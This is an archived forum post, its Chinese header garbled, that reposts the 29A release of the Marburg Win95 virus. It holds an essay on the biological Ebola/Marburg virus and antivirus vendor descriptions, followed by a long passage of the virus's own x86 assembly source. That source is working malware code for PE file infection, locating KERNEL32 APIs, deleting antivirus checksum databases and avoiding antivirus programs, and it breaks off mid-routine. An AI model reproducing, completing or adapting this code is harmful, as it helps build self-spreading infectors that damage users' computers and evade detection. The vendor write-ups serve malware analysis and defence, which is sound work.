¾«»ªÇø [¹Ø±Õ][·µ»Ø]

µ±Ç°Î»ÖãºÍøÒ×¾«»ªÇø>>ÌÖÂÛÇø¾«»ª>>µçÄÔ¼¼Êõ>>¡ñ µçÄÔ²¡¶¾>>¡î²¡¶¾·ÖÎö¡î>>Marburg ²¡¶¾Ô´³ÌÐò

Ö÷Ì⣺Marburg ²¡¶¾Ô´³ÌÐò
·¢ÐÅÈË: asmhome()
ÕûÀíÈË: emil(1999-08-25 22:36:55), Õ¾ÄÚÐżþ
Ë®ÖÐÔÂ
http://asmhome.yeah.net

Marburg virus - BioCoded by GriYo / 29A
---------------------------------------




Index:
------

1 - About the biological version
2 - Author's description
3 - Description from Datafellows
4 - Description from AVP
5 - Description from DrSolomon
6 - Marburg source code




1 - About the biological version
--------------------------------

1967: Marburg/Frankfurt, Germany.

Laboratory  workers preparing  primary  cell cultures  from  African

green monkeys resulted in  an outbreak of a previously unrecognised di
sease.
Highly  infectious: 31 cases, 7 deaths.

1976: 

Outbreak of  a previously unrecognised  haemorrhagic  fever in Zaire 

and Sudan 'Ebola disease': 500 diagnosed cases,  460 deaths.

Ebola  virus, a member of the Filoviridae, burst from obscurity with

spectacular   outbreaks  of  severe,  haemorrhagic  fever.  It   was  
 first
associated  with an outbreak of  318 cases and a case-fatality  rate o
f  90%
in Zaire and caused  150 deaths among  250 cases in Sudan. Smaller out
breaks
continue to  appear periodically, particularly in East, Central and so
uthern
Africa. In 1989, a haemorrhagic  disease  was  recognized  among  cyno
molgus 
macaques  imported into the United States from  the  Philippines. Stra
ins of
Ebola virus  were isolated from  these  monkeys. Serologic  studies  i
n  the
Philippines and elsewhere in Southeast Asia indicated that  Ebola viru
s is a 
prevalent cause of infection among macaques.

These  threadlike   polymorphic  viruses  are  highly   variable  in  
length 
apparently  owing  to  concatemerization. However,  the average length
 of an 
infectious  virion appears to be  920 nm.  The virions are 80 nm in di
ameter 
with  a  helical nucleocapsid,  a membrane made of  10 nm  projections
,  and 
host cell membrane.  They  contain  a  unique  single-stranded  molecu
le  of 
noninfectious   (negative sense)   RNA.   The   virus   is   composed 
 of  7 
polypeptides,  a   nucleoprotein,  a glycoprotein,  a polymerase and 4
 other 
undesignated  proteins.   Proteins   are   produced   from    polyaden
ylated  
monocistronic  mRNA  species transcribed from virus RNA.  The replicat
ion in 
and  destruction  of  the  host cell is rapid and produces a large num
ber of 
viruses  budding from the cell membrane.

Epidemics  have resulted  from  person  to  person  transmission, noso
comial 
spread  or  laboratory  infections. The mode  of primary infection  an
d  the
natural  ecology  of these viruses are unknown.  Association  with bat
s  has 
been implicated  directly in at least 2 episodes  when  individuals  e
ntered
the  same  bat-filled  cave in  Eastern Kenya.  Ebola infections in Su
dan in  
1976 and 1979  occurred in workers  of a cotton factory containing tho
usands
of bats in the roof.  However, in all instances, study  of antibody in
  bats
failed to detect evidence  of infection,  and no virus was isolated fr
om bat
tissue.

The  index  case  in  1976  was  never  identified, but  this large ou
tbreak
resulted in  280 deaths  of  318 infections.  The outbreak was primari
ly the 
result  of person to person spread and transmission by contaminated  n
eedles 
in  outpatient  and  inpatient  departments  of  a hospital  and  subs
equent 
person to person  spread in  surrounding villages. In  serosurveys in 
Zaire,
antibody prevalence to  Ebola virus has been 3 to 7%.  The incubation 
period 
for  needle-transmitted Ebola virus  is  5 to 7  days and that for per
son to 
person transmitted disease is 6 to 12 days.

The  virus  spreads  through  the  blood and  is  replicated in many o
rgans.
The  histopathologic  change  is  focal necrosis  in these organs, inc
luding 
the liver,  lymphatic organs,  kidneys,  ovaries  and  testes.  The  c
entral  
lesions   appear  to   be   those   affecting the vascular   endotheli
um and
the   platelets. The   resulting manifestations  are bleeding, especia
lly in
the mucosa, abdomen, pericardium and vagina.  Capillary leakage  appea
rs  to
lead  to  loss  of  intravascular  volume,  bleeding,  shock  and  the
 acute 
respiratory disorder seen in fatal cases. Patients die of intractable 
shock.
Those  with  severe  illness  often  have  sustained  high  fevers  an
d  are
delirious, combative and difficult to control.

The  serologic  method  used  in  the  discovery  of  Ebola  was  the 
direct 
immunofluorescent  assay. The test is  performed on a  monolayer of in
fected
and  uninfected  cells fixed on a microscopic slide.  IgG-  or  IgM-sp
ecific 
immunoglobulin assays are performed.  These tests   may  then  be  con
firmed
by using western blot or radioimmunoprecipitation.  Virus  isolation i
s also 
a highly useful diagnostic  method, and is performed  on suitably  pre
served
serum, blood or tissue specimens stored at -70oC or freshly collected.


No specific antiviral therapy presently exists against Ebola virus, no
r does
interferon  have  any  effect.  Past  recommendations  for  isolation 
of the 
patient  in  a  plastic  isolator  have  given  way  to  the  more  mo
derate 
recommendation  of  strict  barrier  isolation with body fluid  precau
tions. 
This  presents  no  excess  risk  to  the   hospital  personnel  and  
allows 
substantially better patient care, as shown in Table 2.  The major fac
tor in 
nosocomial  transmission  is  the  combination  of  the  unawareness  
of the 
possibility  of  the  disease  by  a  worker who is also  inattentive 
to the 
requirements  of  effective  barrier  nursing.  after diagnosis, the r
isk of 
nosocomial transmission is small.

The basic method of prevention and control is the  interruption of per
son to
person spread of the virus. However,  in rural areas,  this may be dif
ficult 
because  families  are  often reluctant  to admit members  to  the  ho
spital  
because  of  limited  resources  and the  culturally unacceptable sepa
ration 
of  sick  or  dying  patients from the  care  of  their  family.  Expe
rience  
with human disease and primate infection suggests that  a vaccine indu
cing a
strong cell-mediated  response  will  be  necessary for  virus clearan
ce and 
adequate   protection.   Neutralizing   antibodies   are   not  observ
ed  in 
convalescent  patients  nor do they occur in primates inoculated with 
killed 
vaccine.   A  vaccine  expressing  the  glycoprotein  in  vaccinia  is
 being 
prepared for laboratory evaluation.

                                    Emerging & Re-emerging Viruses: An
 Essay
                                                             Alison Ja
cobson
                                                  Department of Microb
iology
                                                     University of Cap
e Town




2 - Author's description
------------------------

Marburg  is  a  direct action  Win32 executable files infector. Lets 

look at its features in more detail...

2.1. Infection

When an infected file is run the virus will look for *.EXE and *.SCR

files  in  current  directory,   as  well  as  WINDOWS  and  WINDOWS  
system 
directories.  Marburg use size padding to mark infected files.  Depend
ing on 
the  internal  format of each file the virus sometimes  infects them w
ithout 
modifying the entry-point  field in  the file header.  In some files M
arburg 
overwrites  the  code  at  its host entry-point with  a block or polym
orphic 
code.  This code is used to  hide the  branch to viral code. Marburg i
nfects 
files  by  mapping  them  in  memory.  This allows the virus to speed 
up its 
infection procedures. 

2.2. Polymorphism

The  virus  is   encrypted   under  a  polymorphic  decryptor.   The 

polymorphic  engine  uses  slow mutation  technics  and can generate l
ots of 
different looking code.

2.3. Retro

Some intergrity checksum files deleted on infection.

2.4. Error-handling

The  virus startup and infection routines uses estructured exception

handling to prevent  the virus from causing FAULTS  at any time.  This
 makes 
Marburg a very stable virus.

2.5. Payload

A nice graphic payload inside... I think this is a must for viruses
that works under GUI.




3 - Description from Datafellows
--------------------------------

NAME: Marburg
TYPE: Non-resident EXE -files

The  Win95/Marburg  virus got widespread circulation in August 1998, 

when it was included on the master CD of the popular  MGM/EA PC CD-ROM
  game 
"Wargames". The CD contains one file infected by the Marburg virus:

\EREG\EREG32.EXE

MGM -  the publisher of the game  - made  an announcment  on this on 

12th of August, 1998:


--------
From: "K.Egan (MGM)" [email protected] 
Subject: MGM WarGames Statement 
Date: Wed, 12 Aug 1998 18:03:39 -0700 

MGM Interactive  recently learned that its  WarGames PC game shipped 

with  the   Win32/Marburg.a   virus  contained  in  the   electronic 

registration  program.  The company is working  as fast as it can to 

resolve the problem.
...
MGM Interactive  is committed  to delivering top quality products to 

consumers.  This is an  unfortunate  circumstance  and  we sincerely 

apologize for any convenience this has caused you.
...
If  you  have  any  questions  or  if  you  would  like to receive a 

replacement disc, please contact MGM Interactive.  
--------


The same  virus also got widespread circulation in August 1998,  when 
it was
included on the cover CD of the Australian "PC Power Play" magazine. T
his CD
contains these files infected by the Marburg virus:

\GAMES\MAX2\MAX2BETA.EXE
\GAMES\STARTREK\FURYDEMO.EXE

In July 1998,  the Win95/Marburg  virus got yet again widespread circu
lation
when it  was  included  by accident on the cover CD of the UK-based PC
 Gamer
Magazine's  July  1998 edition.  The  infected  files  are  on  "CD Ga
mer 2"
included with the magazine, and are called:

\UTILS\XEARTH\XEARTH.EXE
\UTILS\QPAINT\QPAINT.EXE
\VIDEO\SMACKPLW.EXE

The  SMACKPLW  program  is  automatically  executed if  you watch any 
of the
preview  videos  from  the  CD. There are localized versions of the PC
 Gamer
magazine in circulation in addition to the UK edition.

The  Swedish  edition  has  these  files infected instead of the ones 
listed
above:

\SHARE\3DJONG\M3DJONGG.EXE
\PATCHAR\QUAKE2\Q2-315~8.EXE
\SPEL\KKND2\DIRECTX\DDHELP.EXE

The  Slovenian  edition has  the same infected files as the UK edition
.  The
Italian July/August edition is clean.

Marburg is a polymorphic Windows 95/98 virus which contains this text:


[ Marburg ViRuS BioCoded by GriYo/29A ]

Marburg infects  Win32 EXE and SCR (screen saver) files,  encrypting i
ts own
code  with variable polymorphic encryption layer.  The polymorphic eng
ine of
the virus is advanced.  It encrypts the virus with 8, 16 and 32 bit ke
y with
several  different methods.  The virus uses slow polymorphisism, which
 means
that it changes the decryptor of itself very slowly.

Marburg deletes integrity databases of several anti-virus products.  I
t also
avoids infecting many known  anti-virus  product executable files, inc
luding
any executable  which has the letter "V" in its name.  This is done to
 avoid
triggering the self-check of these programs.

Marburg  activates  three months  after  initial  infection.  If an in
fected
application is executed exactly on  the same hour as the  inital  infe
ction,
the  virus displays  the standard  Windows  error  icon  (red cross in
 white
circle) in random positions all over the screen.




4 - Description from AVP
------------------------

This is a direct action  (nonmemory resident)  Windows95 polymorphic

virus. It affects  PE EXE  (Portable Executable)  files which it searc
hes in
current, Windows and  System  directories.  Because of bugs the virus 
is not
able to replicate under Windows NT, so it is Windows95 specific virus.


When an infected file is executed, the virus searches for KERNEL32 rou
tines:
first for GetModuleHandleA and GetProcAddress,  then  for  22 more fun
ctions
(see the list below).  While  searching  the  virus  uses method  simi
lar to
"Win32.Cabanas" virus:  while  infecting  a  file  the  virus  scans  
file's
imported  table  for  GetModuleHandleA  and  GetProcAddress, and saves
 these
addresses in virus code.  If there are no  these entries in table, the
 virus
scans KERNEL32 code.

If  the virus  is not  able to  locate  KERNEL32  functions,  it immed
iately
returns to the host file.  Otherwise it allocates a block of system  m
emory,
copies its code to there (that's necessary to run virus polymorphic en
gine),
then searches for files and infects them.

While infecting a file the virus writes its code to the end of file in
to the
last section, increasing its length beforehand.  Before saving  its  c
ode to
the  file the virus  encrypts it  by  polymorphic  routine  (the polym
orphic
engine  is  very similar  with one that  was found  in  "Win95.HPS"  v
irus).
Depending  on  file structure the virus also does some tricks  to make
 virus
detection  and disinfection procedures  more complex:  either replaces
 entry
point  address in the PE header with its own one  (majority of Win32 v
iruses
infect files in this way), or saves  JMP_Virus instruction to the file
 entry
address  and  does  not modifies  it  in  the  PE  header  (in  same  
way as
"Win32.Cabanas"  virus does),  or  writes  to the entry point  a polym
orphic
junk routine that is followed by JMP_Virus instruction.

Before infecting  the  virus  deletes  anti-virus  data files: ANTI-VI
R.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ.  While infecting  the virus checks  file
 names
and  does  not  infect  files  that  have  'V'  letter  in  name  as w
ell as
anti-viruses PANDA, F-PROT, SCAN.

Depending on the system date  (when infected file is executed in three
 month
during  the  same hour  as being infected)  the  virus  displays  at  
random
selected positions on the screen the standard Windows error icon - red
 cross
in white circle.

The  virus contains  the text strings  (the first block contains the l
ist of
functions that virus is looking for):

GetModuleHandleA 
GetProcAddress 
CreateFileA 
CreateFileMappingA 
MapViewOfFile 
UnmapViewOfFile 
CloseHandle 
FindFirstFileA 
FindNextFileA 
FindClose 
VirtualAlloc 
GetWindowsDirectoryA 
GetSystemDirectoryA 
GetCurrentDirectoryA 
SetFileAttributesA 
SetFileTime 
DeleteFileA 
GetCurrentProcess 
WriteProcessMemory 
LoadLibraryA 
GetSystemTime 
GetDC 
LoadIconA 
DrawIcon

[ Marburg ViRuS BioCoded by GriYo/29A ]
KERNEL32.dll USER32.dll




5 - Description from DrSolomon
------------------------------

Win32/Marburg
Polymorphic virus
Infects: Windows-95 executable files 
         (PE files - "Portable Executable")

This  highly polymorphic virus infects  Windows-95  executable files

(PE files - "Portable Executable").   When  the  infected  file  is  r
un  it
searches  for  executable  files  to infect  in the  current  director
y, the
Windows  directory  and   the  System directory.   The  virus  does  n
ot  go
memory-resident - instead it is a direct action virus.  The  infected 
 files
always grow in size.

The sizes of infected files are changed by the the virus  to be divisi
ble by
101 (decimal). It does this to avoid infecting the same file twice.

If  the  virus  comes  across  integrity-checking  databases  (ANTI-VI
R.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ)  in  the  above  mentioned  subdirectori
es  it
deletes them.  This is an attempt  to avoid  detection by certain anti
-virus
products.

The  virus  does  not  infect  any  files  having  letter  "V"  in the
 name,
"PAND*.*" , "F-PR*.*" , "SCAN*.*"  (this  is  to  avoid  infecting   c
ertain
anti-virus programs).

The  payload  of the virus  triggers at  a random date and displays an
 error
icon (a red cross on white circle) on the screen.

Marburg has been seen in the wild, and was accidentally  distributed  
on the
cover CD ROM of UK magazine PC Gamer in July 1998.  The virus was writ
ten by
Griyo of the Spanish virus-writing gang 29A.





6 - Marburg source code
-----------------------

After some time lost into   Win32  internals  im happy to present my

first attempt at this plattaform. This is a Win95 highly polymorphic d
irect-
action PE infector.

Greetings to all the people at IRC-Hispano  #virus  and  #hack irc cha
nnels.
Special  greetings  goes  this  time to  Jacky Qwerty, this virus woul
dnt be
posible without his support.

-------->8 cut here --------------------------------------------------
-------

;······································································
······
;
;       Marburg ViRuS  - BioCoded by GriYo / 29A
;
;······································································
······

                .386P
                locals
                jumps
                .model flat,STDCALL

                ;Include the following files

                include Win32api.inc
                include Useful.inc
                include Mz.inc
                include Pe.inc

                ;Some externals only used on 1st generation

                extrn GetModuleHandleA:NEAR
                extrn GetProcAddress:NEAR
                extrn ExitProcess:NEAR

                ;Some assumptions only valid for 1st generation

mem_size        equ mem_end-Mem_Base            ;Size of virus in memo
ry
inf_size        equ inf_end-Mem_Base            ;Size of virus in file
s
init_size       equ init_end-Mem_Base           ;Size of init code
base_default    equ 00400000h                   ;Default base address


                ;Current in-build settings

SIZE_PADDING    equ 00000065h
DECRYPTOR_SIZE  equ 00000800h
BUFFER_EP       equ 00000100h

;······································································
······
;Fake host used for virus 1st generation
;······································································
······

_TEXT           segment dword use32 public 'CODE'

host_entry:     ;This code will find the base address of KERNEL32.DLL 
and
                ;the entry point for GetProcAddress and GetModuleHandl
e
                ;functions
                ;This part will not be included on future infections
                ;coz its only needed for virus 1st generation

                ;Get KERNEL32 module handle

                push offset szKernel32
                call GetModuleHandleA
                or eax,eax
                jz exit1st_gen
                mov dword ptr [a_Kernel32],eax

                ;Get address of GetModuleHandle function

                push offset szGetModuleH
                push eax
                call GetProcAddress
                or eax,eax
                jz exit1st_gen
                mov dword ptr [a_GetModuleH],eax

                ;Get address of GetProcAddress function

                push offset szGetProcAddr
                push dword ptr [a_Kernel32]
                call GetProcAddress
                or eax,eax
                jz exit1st_gen
                mov dword ptr [a_GetProcAddr],eax

                ;Execute virus

                mov ebx,base_default
                xor ebp,ebp
                call entry1st_gen

exit1st_gen:    ;Terminate virus launch process

                xor eax,eax
                push eax
                call ExitProcess

_TEXT           ends

;······································································
······

_DATA           segment dword use32 public 'DATA'
_DATA           ends

;······································································
······

_BSS            segment dword use32 public 'BSS'
_BSS            ends

;······································································
······
;Virus main body
;······································································
······

virseg          segment dword use32 public 'Marburg'

Mem_Base        equ this byte

virus_entry:    ;Get delta offset and host base address

                call get_delta

init_end        equ this byte

get_delta:      pop ebp
                mov ebx,ebp
                sub ebp,offset get_delta

                ;Get host base address
                ;Generate a SUB ebx,fix_baseaddr instruction

                db 81h,0EBh
fix_baseaddr    dd 00000000h

                ;Prepare return address

                mov eax,ebx

                ;Generate ADD eax,rva_org_eip

                db 05h
rva_org_eip     dd 00000000h

                ;Save host entry-point into stack, we will jump there

                ;later using a RET

                push eax

entry1st_gen:   ;End of virus initialization, at this point:
                ;
                ; ss:[esp] - Host entry-point
                ; ebx      - Base address
                ; ebp      - Delta offset
                ;

                ;Check if we know the GetModuleHandle entry point
                ;If we dont know it try to get KERNEL32 base
                ;address using our own code

                db 0B8h
rva_GetModuleH  dd offset a_GetModuleH-base_default
                or eax,eax
                jz use_our_own_1

                ;Yes, eax is the rva for the function address

                push dword ptr [eax+ebx]
                pop dword ptr [ebp+a_GetModuleH]

                ;Now we know the address of GetModuleHandle,
                ;so use it in order to get KERNEL32.dll
                ;base address
                ;If the function fails try to get KERNEL32 base
                ;address using our own function

                lea eax,dword ptr [ebp+szKernel32]
                push eax

                call dword ptr [ebp+a_GetModuleH]
                or eax,eax
                jnz got_kernel

use_our_own_1:  ;No, grrr, try to get it by ourself

                call my_getkernel
                or eax,eax
                jz err_virus_init

got_kernel:     ;Save KERNEL32 base address for l8r use

                mov dword ptr [ebp+a_Kernel32],eax

                ;Now check if we know the GetProcAddress entry point

                db 0B8h
rva_GetProcAddr dd offset a_GetProcAddr-base_default
                or eax,eax
                jz use_our_own_2

                ;Yes, eax is the rva for the function address

                push dword ptr [eax+ebx]
                pop eax
                jmp short got_getprocaddr

use_our_own_2:  ;Use our own routine to get GetProcAddress entry point


                call my_GetProcAddr

got_getprocaddr:;Save GetProcAddress entry point for l8r use

                mov dword ptr [ebp+a_GetProcAddr],eax

                ;Use GetProcAddress to get the rest of function addres
ses

                call get_functions
                jecxz err_virus_init

                ;Allocate some memory for the virus

                push PAGE_EXECUTE_READWRITE
                push MEM_RESERVE or MEM_COMMIT
                push mem_size+inf_size
                push 00000000h
                call dword ptr [ebp+a_VirtualAlloc]

                ;Exit if cant find free memory... mmm...

                or eax,eax
                jz err_virus_init

                ;Copy virus to allocated memory

                lea esi,dword ptr [ebp+Mem_Base]
                mov edi,eax
                mov ecx,mem_size
                cld
                rep movsb

                ;Jump to virus code into allocated memory

                add eax,mem_entry-Mem_Base
                jmp eax

;······································································
······
;Entry point for resident code
;······································································
······

mem_entry:      ;From this point we no longer care about host
                ;base address

                call mem_delta
mem_delta:      pop ebp
                sub ebp,offset mem_delta

                ;Get current system time

                lea eax,dword ptr [ebp+my_system_time]
                push eax
                call dword ptr [ebp+a_GetSysTime]

                ;It's time to call our payload routine????

                mov ax,word ptr [ebp+inf_month]
                add ax,0003h
                mov dx,000Ch
                cmp ax,dx
                jbe check_month
                sub ax,dx
check_month:    cmp ax,word ptr [ebp+time_month]
                jne viral_sleep
                mov ax,word ptr [ebp+inf_day]
                cmp ax,word ptr [ebp+time_day]
                jne viral_sleep
                call payload

viral_sleep:    ;Do direct action stuff
                ;The virus will infect files on \WINDOWS, \SYSTEM and

                ;current directory

                ;Try to infect files in current directory

                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                push MAX_PATH
                call dword ptr [ebp+a_GetCurDir]
                or eax,eax
                jz try_windir

                call do_in_dir
                
try_windir:     ;Get windows directory

                push MAX_PATH
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_GetWindowsDir]
                or eax,eax
                jz try_sysdir

                ;Try to infect files in \WINDOWS directory

                call do_in_dir

try_sysdir:     ;Get system directory

                push MAX_PATH
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_GetSystemDir]
                or eax,eax
                jz err_virus_init

                ;Try to infect files in \SYSTEM directory

                call do_in_dir

err_virus_init: ;We have to restore code at host entry-point?

                xor eax,eax
                cmp dword ptr [ebp+insert_size],eax
                je back2host

                ;Get current process

                call dword ptr [ebp+a_GetCurProc]

                ;Restore host entry-point code
                ;Use WriteProcessMemory in order to prevent exceptions

                ;while writing to protected areas

                pop edx
                push edx
                xor ecx,ecx
                push ecx
                push dword ptr [ebp+insert_size]
                lea ecx,dword ptr [ebp+entry_code]
                push ecx
                push edx
                push eax
                call dword ptr [ebp+a_WriteProcMem]

back2host:      ;Back to host

                ret

;······································································
······
;Infect *.EXE and *.SCR files in specified path
;······································································
······

do_in_dir:      ;The virus will not infect files in the root directory

                ;directory
                ;
                ;Entry:
                ;
                ;eax - path string size
                ;
                ;Exit:
                ;
                ;None
                ;

                ;Trying to infect files in root directory?

                cmp eax,00000004h
                jb file_not_found

                ;Delete some AV checksum databases

                mov edx,eax
                mov ecx,(end_AV_files-tbl_AV_files)/04h
                lea esi,dword ptr [ebp+tbl_AV_files]
loop_del_AV:    lodsd
                push esi                
                add eax,ebp
                mov esi,eax
                call delete_file
                pop esi
                loop loop_del_AV

                ;Insert *.* into path

                lea esi,dword ptr [ebp+szSearch]
                call copy_szMask

                ;FindFirstFile

                lea eax,dword ptr [ebp+my_FindData]
                push eax
                lea eax,dword ptr [ebp+szWorkDir]
                push eax                
                call dword ptr [ebp+a_FindFirst]
                cmp eax,INVALID_HANDLE_VALUE
                je file_not_found

                ;Save the search handle

                mov dword ptr [ebp+Search_h],eax
                
try_this_file:  ;Check file size

                xor eax,eax
                cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax

                jne cant_open
                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING)
                jae cant_open

                ;Check if file is already infected

                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                or edx,edx
                jz cant_open

                ;Add filename to path                

                cld
                lea esi,dword ptr [ebp+szWorkDir]
                mov edx,esi
do_path_1:      lodsb
                cmp al,"\"
                jne avoid_path
                mov edx,esi
avoid_path:     or al,al
                jne do_path_1
                lea esi,dword ptr [ebp+my_FindData.WFD_szFileName]
                mov edi,edx
do_path_2:      lodsb
                cmp al,"a"
                jb char_is_ok
                sub al,("a"-"A")
char_is_ok:     cmp al,"V"
                je cant_open
                stosb
                or al,al
                jnz do_path_2

                ;The virus does not infect files with V character in t
heir
                ;names as well as the following programs:

                mov eax,dword ptr [edx]

                ;Panda antivirus

                cmp eax,"DNAP"
                je cant_open

                ;Datafellows F-Prot

                cmp eax,"RP-F"
                je cant_open

                ;McAfee Scan

                cmp eax,"NACS"
                je cant_open

                ;Check file extension, allow *.EXE and *.SRC files

                mov eax,dword ptr [edi-00000005h]
                cmp eax,"EXE."
                je target_file
                cmp eax,"RCS."
                jne cant_open

target_file:    ;Open and map file

                call open_map_file
                or eax,eax
                jz cant_open

                ;Check if we can infect this file

                call check_victim
                jecxz bad_host

atach_2host:    ;Infect file

                call infect_file
                jnc search_end
                jmp short cant_open

bad_host:       ;File cant be infected, skip it

                call unmap_close

cant_open:      ;Find next file

                lea eax,dword ptr [ebp+my_FindData]
                push eax
                push dword ptr [ebp+Search_h]
                call dword ptr [ebp+a_FindNext]
                cmp eax,FALSE
                jne try_this_file

search_end:     ;Close Win32 find handle

                push dword ptr [ebp+Search_h]
                call dword ptr [ebp+a_FindClose]

file_not_found: ret

;······································································
······
;Copy search mask into work path
;······································································
······

copy_szMask:    ;Entry:
                ;
                ;edx - Filename offset in path string
                ;esi - Search mask
                ;
                ;Exit:
                ;
                ;None
                ;

                cld
                lea edi,dword ptr [ebp+edx+szWorkDir]
                mov al,"\"
                stosb
loop_copy_name: lodsb
                stosb
                or al,al
                jnz loop_copy_name
                ret

;······································································
······
;Delete file in work path
;······································································
······

delete_file:    ;Entry:
                ;
                ;edx - Filename offset in path string
                ;esi - File to delete
                ;
                ;Exit:
                ;
                ;None
                ;

                ;Add filename to path

                push ecx
                push edx
                call copy_szMask

                ;Reset attributes so we can delete write protected fil
es

                push FILE_ATTRIBUTE_NORMAL
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_SetFileAttr]

                ;Delete file

                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_DeleteFile]

                pop edx
                pop ecx
                ret

;······································································
······
;Check if a given file can be infected
;······································································
······

check_victim:   ;The host must be PE, fit allowed size and import at l
east
                ;one function from Kernel32
                ;
                ;Entry:
                ;
                ;a_Kernel32 - Base address for kernel32
                ;eax        - Base address for memory mapped file
                ;
                ;Exit:
                ;
                ;ecx - Null if error
                ;eax - Preserved
                ;

                ;Save host base address

                push ebp
                push eax

                ;Set structured exception handler

                call SEH_SetFrame01
                mov esp,dword ptr [esp+00000008h]
err_checkfile:  xor ecx,ecx
                jmp SEH_error01
SEH_SetFrame01: xor edx,edx
                push dword ptr fs:[edx]
                mov dword ptr fs:[edx],esp

                ;Search for Kernel32 Import Module Descriptor, abort
                ;infection if not found

                mov ebx,eax

                ;ebx - Base address of host in memory

                ;Check for MZ signature at base address

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne err_checkfile

                ;Check file address of relocation table

                cmp word ptr [ebx+DH_lfarlc],0040h
                jb err_checkfile

                ;Now go to the pe header and check for the PE signatur
e

                mov esi,dword ptr [ebx+DH_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne err_checkfile

                ;Check machine field in IMAGE_FILE_HEADER
                ;just allow i386 PE files

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386

                jne err_checkfile

                ;Now check the characteristics, look if file
                ;is an executable

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                jz err_checkfile

                ;Avoid DLL's

                test ax,IMAGE_FILE_DLL
                jnz err_checkfile
                        
                ;Get pointer to imports raw data

                mov edx,dword ptr [esi+OH_DataDirectory.        \
                                       DE_Import.               \
                                       DD_VirtualAddress+       \
                                       IMAGE_SIZEOF_FILE_HEADER]

                call RVA2RAW
                jecxz err_checkfile
                mov eax,ecx

next_imd_img:   ;Search for kernel32 through the array of imported
                ;module descriptors

                lea edi,dword ptr [ebp+offset szKernel32]
                mov esi,dword ptr [eax+ID_Name]

                ;Exit if the RVA to dll name doesnt exist
                or esi,esi
                jz err_checkfile

                ;Sub the delta offset

                sub esi,edx

                ;Get absolute address of dll name

                add esi,ebx

                ;Compare names

                mov ecx,00000008h
                push eax

dll_loop:       ;Get character from name into imports

                lodsb

                ;Check if character is in lowercase

                cmp al,"a"
                jb check_char

                ;Convert character to uppercase

                sub al,("a"-"A")

check_char:     ;Compare characters with our KERNEL32 string

                scasb
                jne bad_dll

                loop dll_loop

verify_ok:      ;Name matched, get import module descriptor

                pop edi

                ;Mutate RVAs

                call mutate_rvas

                ;Avoid files with IMAGE_SCN_MEM_SHARED in its
                ;last section attributes

                call get_last_sh
                test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_
SHARED
                jnz err_checkfile

                ;Set ecx != NULL (success flag)

                xor ecx,ecx
                not ecx

SEH_error01:    ;Remove structured exception handler

                xor edx,edx
                pop dword ptr fs:[edx]
                pop edx

                ;Error, restore base address

                pop eax
                pop ebp
                ret

bad_dll:        ;Go to next imported module descriptor

                pop eax
                add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
                jmp short next_imd_img


;······································································
······
;Find the place where PE saves some useful information
;······································································
······

mutate_rvas:    ;Generate a copy of the virus into a buffer
                ;This copy will contain some RVAs already
                ;loaded (GetModuleHandle, GetProcAddress or Kernel32
                ;ID_ForwarderChain field)
                ;
                ;Entry:
                ;
                ;ebx - Base address for file
                ;edx - Section delta offset
                ;edi - Kernel32 Import Module Descriptor
                ;
                ;Exit:
                ;
                ;RVA's loaded into virus body (NULL if function not fo
und)
                ;

                ;Copy virus to infection buffer

                push edi
                lea esi,dword ptr [ebp+Mem_Base]
                lea edi,dword ptr [esi+mem_size]
                mov ecx,inf_size-DECRYPTOR_SIZE
                cld
                rep movsb
                pop edi

                ;Save rva to ID_ForwarderChain field

                lea eax,dword ptr [edi+ID_ForwarderChain]
                sub eax,ebx
                add eax,edx
                mov dword ptr [ebp+rva_kernel32+mem_size],eax

                ;Check if file is binded

                mov eax,dword ptr [ebp+a_Kernel32]
                mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew]
                add esi,eax
                add esi,NT_FileHeader.FH_TimeDateStamp
                lodsd
                mov esi,dword ptr [edi+ID_FirstThunk]
                sub esi,edx
                add esi,ebx
                cmp eax,dword ptr [edi+ID_TimeDateStamp]
                je binded_file

                ;esi - Import Address Table for KERNEL32

                ;Save RVA for GetModuleHandle

                push esi
                lea edi,dword ptr [ebp+szGetModuleH]
                call find_by_name
                mov dword ptr [ebp+rva_GetModuleH+mem_size],eax

                ;Save RVA for GetProcAddress

                pop esi
                lea edi,dword ptr [ebp+szGetProcAddr]
                call find_by_name
                mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax

                ret

binded_file:    ;esi - Import Address Table for KERNEL32

                ;Binded GetModuleHandle

                push esi
                mov edi,dword ptr [ebp+a_GetModuleH]
                call find_by_address
                mov dword ptr [ebp+rva_GetModuleH+mem_size],eax

                ;Binded GetProcAddress

                pop esi
                mov edi,dword ptr [ebp+a_GetProcAddr]
                call find_by_address
                mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax

                ret

;······································································
······
;Get RVA of an API function in a binded file
;······································································
······

find_by_address:;
                ;Entry:
                ;
                ;edx - Delta offset for last section
                ;esi - Import Address Table for KERNEL32
                ;edi - Function entry point
                ;
                ;Exit:
                ;
                ;eax - RVA of function address (NULL if not found)
                ;

search_thunk:   ;Check if this is the storage address

                lodsd
                or eax,eax
                jz err_by_address
                cmp eax,edi
                jne search_thunk

                ;Calculate the offset of that thunk dword into file

                lea eax,dword ptr [esi-00000004h]
                sub eax,ebx
                add eax,edx
                ret

err_by_address: xor eax,eax
                ret

;······································································
······
;Find RVA of a function imported by name
;······································································
······

find_by_name:   ;
                ;Entry:
                ;
                ;edx - Delta offset for last section
                ;esi - Import Address Table for KERNEL32
